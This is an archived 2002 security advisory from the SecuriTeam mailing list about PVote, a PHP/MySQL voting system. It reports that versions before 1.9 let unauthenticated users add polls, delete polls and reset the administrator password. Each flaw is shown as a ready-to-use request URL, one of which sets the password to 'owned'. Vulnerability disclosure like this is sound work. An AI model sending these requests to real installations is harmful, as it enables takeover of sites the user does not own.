[UNIX] Multiple Vulnerabilities Found in PVote
From: support@securiteam.comDate: 04/18/02
- Previous message: support@securiteam.com: "[NT] ColdFusion Allows for Path Disclosure (DOS Devices)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Thu, 18 Apr 2002 21:41:16 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Multiple Vulnerabilities Found in PVote
------------------------------------------------------------------------
SUMMARY
<http://orbit-net.net:8001/php/pvote/> PVote is a PHP voting system. It
uses MySQL to hold all information about the system. Multiple security
vulnerabilities have been found in the product, these vulnerabilities will
allow attackers to: Delete/Add new Pools and Change the password for the
PVote Administrator account.
DETAILS
Vulnerable systems:
PVote all versions prior to 1.9
Immune systems:
PVote version 1.9
Add vulnerability:
By accessing the following URL:
http://isp.net/pvote/add.php?question=AmIgAy&o1=yes&o2=yeah&o3=well..yeah&o4=bad
A new poll will be added that will include the following data, "question"
is the question you want to ask and "o1-o4" are their possible answers.
Delete vulnerability:
By accessing the following URL:
http://isp.net/pvote/del.php?pollorder=1
The Poll #1 will be deleted, no authentication of any kind is needed.
Change the administrator password vulnerability:
Accessing the following URL:
http://isp.net/pvote/ch_info.php?newpass=owned&confirm=owned
The password will change to "owned"
ADDITIONAL INFORMATION
The information has been provided by <mailto:exce@netwinder.nu> Daniel
Nyström.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NT] ColdFusion Allows for Path Disclosure (DOS Devices)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
